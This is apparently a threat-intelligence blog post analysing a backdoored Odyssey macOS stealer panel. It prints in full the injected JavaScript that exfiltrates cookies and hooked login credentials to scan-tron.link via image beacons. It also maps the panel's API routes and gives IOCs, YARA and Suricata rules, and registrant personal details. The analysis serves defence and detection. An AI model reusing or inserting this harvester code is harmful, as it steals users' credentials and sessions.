

Someone Is Stealing From the Stealers: A Backdoored Odyssey macOS Panel Leaks Operator Credentials to scan-tron.link

 intel.breakglass.tech/post/odyssey-macos-stealer-backdoored-panel-scan-tron-credential-harvester

Breakglass Intelligence

April 21, 2026

 Breakglass Intelligence
intel.breakglass.tech

MEDIUM

THREAT INTEL

Someone Is Stealing From the Stealers: A Backdoored Odyssey macOS Panel Leaks Operator Credentials to scan-tron.link

Malware analysis · C2 infrastructure · APT attribution

@BreakGlassIntel

Security researcher [@500mk500](#) flagged two Odyssey macOS stealer panels on the same Kazakhstan subnet. We investigated both and found something the panel operator probably doesn't know: someone has backdoored their infrastructure and is stealing their login credentials in real time.

The panel at [86.54.25\[.\]202](#) serves a 4.1MB JavaScript bundle with a 960-byte credential harvester prepended to it. Every time the Odyssey operator logs in, their username and password are silently exfiltrated to [scan-tron\[.\]link](#) — a minimal Python receiver on bulletproof hosting. The second panel at [86.54.25\[.\]204](#), running a newer build on the same subnet, is clean.

This is a threat-actor-on-threat-actor attack. One criminal built a macOS stealer platform to rob victims. Another criminal is robbing them.

Two Panels, One Subnet, One Problem

Both panels sit on `86.54.25.0/24`, registered as "Shereverov-network" under AS210006 (GOODTEC), with admin contact Deniss Puskins in Riga, Latvia, and abuse email `shereverov.marat@outlook[.]com`.

Attribute	86.54.25[.]202	86.54.25[.]204
Status	LIVE	LIVE
Port 80	HTTP 200 (panel)	HTTP 200 (panel)
Port 22	OpenSSH 10.0p2 Debian	OpenSSH 10.0p2 Debian
Build Tool	Webpack (older)	Vite (newer)
JS Bundle	<code>main.bc91dcd4.js</code> (4,097,820 bytes)	<code>DHCGUkPt.js</code> (1,662,619 bytes)
Backdoored	YES	No
Last Modified	Apr 16, 2026	Apr 18, 2026
CORS Origin	<code>http://localhost:3000</code>	<code>http://localhost:3000</code>

The `.202` panel uses an older Webpack build. The `.204` panel uses a newer Vite build, was last modified two days later, and has additional API routes including `/api/v1/auth/seeds` (seed phrase management). Both share the same SSH version, the same CORS misconfiguration, and the same API structure — these are two instances of the same Odyssey panel software.

The 2.4MB size difference between the bundles is not padding or hidden data — it's the difference between an unminified Webpack build and a production Vite build, plus the injected credential harvester on `.202`.

The Injection: 960 Bytes of Betrayal

The `.202` panel's JavaScript bundle has a self-executing function prepended before the legitimate Webpack code. It is not obfuscated. It is clean, readable, and surgical:

```

(function () {
  try {
    // Stage 1: Steal all cookies on page load
    var c = document.cookie;
    new Image().src =
      "https://scan-tron.link/c?d=" +
      encodeURIComponent(
        JSON.stringify({
          c: c,
          url: window.location.href,
          t: new Date().toISOString(),
        }),
      );

    // Stage 2: Hook fetch() to intercept login credentials
    var _f = window.fetch;
    window.fetch = function (u, o) {
      if (
        o &&
        o.method === "POST" &&
        typeof u === "string" &&
        u.indexOf("/api/v1/sign-in") !== -1
      ) {
        try {
          var b = typeof o.body === "string" ? JSON.parse(o.body) : o.body;
          new Image().src =
            "https://scan-tron.link/l?d=" +
            encodeURIComponent(
              JSON.stringify({
                u: b.username || "",
                p: b.password || "",
                t: new Date().toISOString(),
              }),
            );
        } catch (e) {}
      }
      return _f.apply(this, arguments);
    };
  } catch (e) {}
})();

```

No external dependencies. No dynamic loading. No obfuscation. Just 960 bytes that do exactly two things, perfectly.

How It Works

On every page load, the injection fires immediately:

1. Reads `document.cookie` (captures any session tokens)
2. Captures the current page URL

3. Adds an ISO timestamp
4. Sends everything to `https://scan-tron[.]link/c?d=` as a URL-encoded JSON blob via an invisible `Image()` beacon — no CORS restrictions, no fetch needed, works silently across all browsers

On every login attempt, the injection intercepts the credential submission:

1. Saves a reference to the original `window.fetch` function
2. Replaces `window.fetch` with a wrapper
3. When the wrapper sees a POST request to `/api/v1/sign-in`, it extracts `username` and `password` from the request body
4. Sends both to `https://scan-tron[.]link/l?d=` via the same Image beacon technique
5. Passes the original request through to `_f.apply()` — the real login proceeds normally, the operator never notices

The operator logs in, sees their panel, manages their bots. They have no idea their credentials just went to someone else.

scan-tron.link: The Receiver

Attribute	Value
Domain	<code>scan-tron[.]link</code>
IP	<code>107.189.23[.]185</code>
Hosting	FranTech Solutions (PONYNET/BuyVM)
Reverse DNS	<code>185.23.189.107.static.cloudzy.com</code>
Server	Caddy → Python 3.12.3 <code>BaseHTTP</code>
TLS	Let's Encrypt E8, issued 2026-04-16
TLS Expiry	2026-07-15
Serial	<code>06120A9535B54B22BCE06DFE05843554C0FB</code>
SSH	OpenSSH 9.6p1 Ubuntu
Registration	Tucows Domains Inc., created 2025-11-25
DNS	Cloudflare (rosa, thaddeus)

The receiver is minimal by design. Every path returns HTTP 200 with a 2-byte body: `ok`. We tested `/c`, `/l`, `/admin`, `/dashboard`, `/logs`, `/data`, `/.env`, `/robots.txt` — all return the same `ok`. There is no admin panel, no stats endpoint, no data export. This is a write-only data sink.

The Caddy server on port 80 redirects to HTTPS (308). The Python **BaseHTTP** backend behind it accepts the exfiltrated data and presumably logs it to disk or forwards it elsewhere.

The TLS certificate was issued on April 16, 2026 — the same day the **.202** panel was last modified. The injection and the receiver infrastructure were deployed simultaneously.

FranTech Solutions (BuyVM) operates out of Luxembourg, Nevada (US), and Montreal, and is known in the hosting community for its permissive abuse policies. The Cloudzy reverse DNS suggests the VPS may have been provisioned through Cloudzy, an Iranian-linked hosting reseller that has been documented by Halcyon and others as popular with threat actors.

The Odyssey Panel: Full Feature Map

Odyssey is a well-documented macOS infostealer — [Jamf](#), [Red Canary](#), [CYFIRMA](#), and [Censys](#) have all published analyses. It's a rebrand of Poseidon Stealer, which itself forked from Atomic macOS Stealer (AMOS).

What we're adding here is the complete API route map and feature set extracted from the **.204** JS bundle (29 routes), plus the vendor domain and infrastructure details.

API Routes (29 confirmed)

/api/v1/sign-in	Login
/api/v1/auth/bots	Bot management
/api/v1/auth/bot/	Individual bot actions
/api/v1/auth/bot-actions	Bulk bot operations
/api/v1/auth/logs	Stolen credential logs
/api/v1/auth/log/	Individual log management
/api/v1/auth/builder	AppleScript payload builder
/api/v1/auth/settings	Panel configuration
/api/v1/auth/socks	SOCKS proxy management
/api/v1/auth/socks/	Individual proxy operations
/api/v1/auth/seeds	Seed phrase extraction
/api/v1/auth/statistics	Dashboard stats
/api/v1/auth/user	User profile
/api/v1/auth/download-all	Export all logs
/api/v1/auth/download-log/	Export individual log
/api/v1/auth/download-selected	Export selected logs
/api/v1/auth/download-wallets	Export wallet data
/api/v1/auth/download-without-wallets	Export logs sans wallets
/api/v1/auth/restore-cookies	Cookie restoration
/api/v1/auth/repeat-all	Re-run stealer on all bots
/api/v1/auth/create-guest-link	Guest access provisioning
/api/v1/guestmode/	Guest view (limited access)
/api/v1/stat/	Statistics endpoint
/api/v1/admin/users	User management
/api/v1/admin/user	Individual user CRUD
/api/v1/admin/user/	User operations
/api/v1/admin/blacklist	IP blacklisting
/api/v1/admin/blacklist/	Blacklist operations
/api/v1/admin/safe-exit	Emergency panel teardown

Key Capabilities

Bot Management: List infected macOS machines with online/offline status, country, IP, first/last connection times. Per-bot actions: make persistent (survives reboot), execute remote shell commands, enable SOCKS proxy, re-run stealer.

AppleScript Builder: Generates macOS-native payloads with customizable filename, **.icns** icon, background image (**.png**), password dialog (social engineering title and description), synthetic error messages (fake crash after execution), file grabber with configurable extension filters, ZIP password protection, and Telegram notification integration. The builder references **vash-server[.]com** and **http://your-server.com** as default server address placeholders.

Log Management: Search, filter, and download stolen credentials by country, date range, build tag, and content type (cookies, passwords, domains, wallets). Duplicate detection with **isDup** flag. Bulk download options: all logs, selected, wallets only, or logs without wallets.

Seed Phrase Management (.204 only): Dedicated endpoint for cryptocurrency seed phrase extraction and storage.

SOCKS Proxy: Turn infected Macs into SOCKS proxies filtered by country code. Proxy URL generation for direct use.

Settings: Telegram bot configuration with separate chat IDs for: general notifications, cryptocurrency wallet finds, and Ledger hardware wallet discoveries. FTP exfiltration as an alternative to Telegram. Anti-duplication toggle. Cryptochecker integration for automatic wallet balance verification.

Admin Panel: User CRUD with subscription expiry management. IP blacklisting. Safe exit — an emergency teardown button that presumably wipes the panel.

Guest Mode: Generate shareable links with limited panel access — designed for showing logs to buyers or partners without giving full admin access.

Vendor Domain: vash-server.com

The JS bundle references `vash-server[.]com` as a server configuration placeholder. "Vash" (ваш) is Russian for "your" — making this literally "your-server.com" in Russian. The domain is registered through Cloudflare (created 2024-02-19) and resolves to `71.115.236[.]254`, a Verizon Business residential IP. At the time of investigation, the domain was unreachable.

Infrastructure

```
Odyssey Panel Operator
|
+-- 86.54.25.0/24 "Shereverov-network" (AS210006, GOODTEC, KZ)
|
|   +-- 86.54.25[.]202 – Panel (BACKDOORED)
|   |   Port 80: Odyssey panel (Webpack, 4.1MB JS)
|   |   Port 22: OpenSSH 10.0p2 Debian
|   |   Last Modified: Apr 16, 2026
|   |   INJECTED: scan-tron.link credential harvester
|   |
|   +-- 86.54.25[.]204 – Panel (CLEAN)
|   |   Port 80: Odyssey panel (Vite, 1.6MB JS)
|   |   Port 22: OpenSSH 10.0p2 Debian
|   |   Last Modified: Apr 18, 2026
|   |
+-- vash-server[.]com (71.115.236[.]254) – Vendor domain (residential IP, offline)
```

```
Credential Harvester Operator (SEPARATE ACTOR)
|
+-- scan-tron[.]link (107.189.23[.]185)
    FranTech/BuyVM (PONYNET), Cloudzy VPS
    Caddy → Python BaseHTTP receiver
    TLS issued: Apr 16, 2026
    Endpoints: /c (cookies), /l (logins)
```

Network Registration

Field	Value
Netname	Shereverov-network
Country	Kazakhstan (KZ)
ASN	AS210006 (GOODTEC)
Admin	Deniss Puskins
Admin Address	Brivibas iela 52, Riga, LV-1011, Latvia
Admin Phone	+37122355660
Abuse Email	shereverov.marat@outlook[.]com
Physical Address	Kazakhstan, 150800, Bulaevo st.Budennogo h.139
Created	2025-02-21

The admin contact is in Latvia, the abuse contact references a Kazakh address, and the network is registered under a Kazakh entity. This split suggests either a reseller arrangement or operational separation between the network owner (Shereverov/Marat) and the admin (Puskins).

Timeline and Attribution

Date	Event
2024-02-19	<code>vash-server[.]com</code> registered (Cloudflare)
2025-02-21	<code>86.54.25.0/24</code> subnet created (RIPE)
2025-11-25	<code>scan-tron[.]link</code> registered (Tucows)
2026-04-16	<code>.202</code> panel last modified
2026-04-16	<code>scan-tron[.]link</code> TLS certificate issued
2026-04-18	<code>.204</code> panel last modified
2026-04-20	Both panels discovered by @500mk500

The simultaneous modification of the `.202` panel and issuance of the scan-tron TLS certificate on April 16 strongly suggests the backdoor was implanted on that date. The `.204` panel was modified two days later — possibly a clean rebuild after the operator noticed the compromise, or simply an unrelated update.

Who Backdoored the Panel?

We don't know. The scan-tron.link operator is a separate actor from the Odyssey panel operator. Possible scenarios:

1. Competitor — A rival stealer operator compromising the competition to steal their customer credentials and victim data
2. Upstream supply chain — The Odyssey developer or reseller injecting a backdoor into the panel software before delivery
3. Server compromise — A third party gained SSH access to the `.202` server and modified the JS bundle on disk
4. Hosting provider — The network operator (`shereverov.marat`) or admin (`Deniss Puskins`) injecting the backdoor into their own customer's infrastructure

The injection's sophistication level — clean code, targeted fetch hook, minimal footprint — suggests someone who understands the Odyssey panel's authentication flow specifically. They knew the sign-in endpoint is `/api/v1/sign-in` and that credentials are sent as `username` and `password` in a JSON body via `fetch()`.

What This Report Adds

Odyssey Stealer has been extensively documented by Jamf, Red Canary, CYFIRMA, Censys, and others. This report does not cover Odyssey's malware capabilities — those are well-established. What we add:

1. The scan-tron.link backdoor is previously unreported. No public threat intelligence references this domain, this injection technique targeting stealer panels, or this specific threat-actor-on-threat-actor attack.
2. The vash-server.com vendor domain is previously unreported. This developer/vendor domain on a residential IP has not appeared in public Odyssey analyses.
3. Two live panel instances with differing compromise status. The ability to compare a backdoored and clean instance of the same panel software on the same subnet is unusual.
4. Complete API route map (29 endpoints) extracted from the clean .204 bundle, including the previously undocumented `/api/v1/auth/seeds` and `/api/v1/admin/safe-exit` endpoints.
5. Infrastructure registration details linking the hosting to named individuals and addresses in Latvia and Kazakhstan.

Credit to [@500mk500](#) for the initial discovery.

IOC Table

Network

Type	Indicator	Context
IPv4	86.54.25[.]202	Odyssey panel (backdoored)
IPv4	86.54.25[.]204	Odyssey panel (clean)
IPv4	107.189.23[.]185	scan-tron.link credential receiver
IPv4	71.115.236[.]254	vash-server.com (vendor, residential)
Domain	scan-tron[.]link	Credential exfiltration domain
Domain	vash-server[.]com	Odyssey vendor/developer domain
URL	https://scan-tron[.]link/c	Cookie exfiltration endpoint
URL	https://scan-tron[.]link/l	Login credential exfiltration endpoint
ASN	AS210006 (GOODTEC)	Panel hosting

Type	Indicator	Context
Email	shereverov.marat@outlook[.]com	Network abuse contact

File Hashes

File	SHA-256
Backdoored JS (.202)	95c17869073bffa045083315c97583cb0d4f4c19165e657ed584ef7e16868a1
Clean JS (.204)	6c0c64c2da550ecab6eb9b855afe2833fde8f928a37168b7e4527665a9a7ae47

TLS

Attribute	Value
CN	scan-tron.link
Issuer	Let's Encrypt E8
Serial	06120A9535B54B22BCE06DFE05843554C0FB
Valid	2026-04-16 to 2026-07-15

MITRE ATT&CK Mapping

The Backdoor (scan-tron.link targeting Odyssey operators)

Tactic	Technique	ID
Initial Access	Supply Chain Compromise	T1195.002
Credential Access	Steal Web Session Cookie	T1539
Credential Access	Input Capture: Web Portal Capture	T1056.003
Exfiltration	Exfiltration Over Web Service	T1567
Defense Evasion	Modify Authentication Process	T1556

The Odyssey Panel (capabilities)

Tactic	Technique	ID
Execution	AppleScript	T1059.002
Persistence	Boot or Logon Autostart	T1547
Credential Access	Credentials from Password Stores	T1555
Credential Access	Steal Web Session Cookie	T1539
Collection	Data from Local System	T1005
Command and Control	Proxy: SOCKS	T1090.001
Exfiltration	Exfiltration Over Web Service	T1567

Detection Signatures

YARA

```
rule ScanTron_Panel_Backdoor {
    meta:
        description = "Credential harvester injected into stealer panel JS bundles"
        author = "Breakglass Intelligence"
        date = "2026-04-20"
        tlp = "TLP:CLEAR"
    strings:
        $domain = "scan-tron.link" ascii
        $cookie_ep = "/c?d=" ascii
        $login_ep = "/l?d=" ascii
        $fetch_hook = "window.fetch = function" ascii
        $sign_in = "/api/v1/sign-in" ascii
        $beacon = "new Image().src" ascii
    condition:
        $domain and ($cookie_ep or $login_ep) and $beacon
}

rule Odyssey_Panel_Indicators {
    meta:
        description = "Odyssey macOS stealer panel JS bundle"
        author = "Breakglass Intelligence"
        date = "2026-04-20"
    strings:
        $api1 = "/api/v1/auth/bots" ascii
        $api2 = "/api/v1/auth/builder" ascii
        $api3 = "/api/v1/auth/socks" ascii
        $api4 = "/api/v1/admin/safe-exit" ascii
        $api5 = "/api/v1/auth/seeds" ascii
        $vendor = "vash-server.com" ascii
    condition:
        3 of ($api*) or $vendor
}
```

Network Detection

```
# scan-tron.link exfiltration
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GHOST - scan-tron.link credential exfiltration"; content:"scan-tron.link"; http.host; sid:2026042010; rev:1;)

# Odyssey panel API pattern
alert http any any -> any any (msg:"GHOST - Odyssey stealer panel API"; content:"/api/v1/auth/bots"; http.uri; sid:2026042011; rev:1;)
```

[@500mk500](#) for the initial discovery.

Share 

Related Reports

[high](#)

[Multi-RAT Operation Dismantled: WaterHydra APT Nexus, Five AES Keys Recovered, and Live C2 Infrastructure Mapped Across Three Continents](#)

[3/7/2026](#)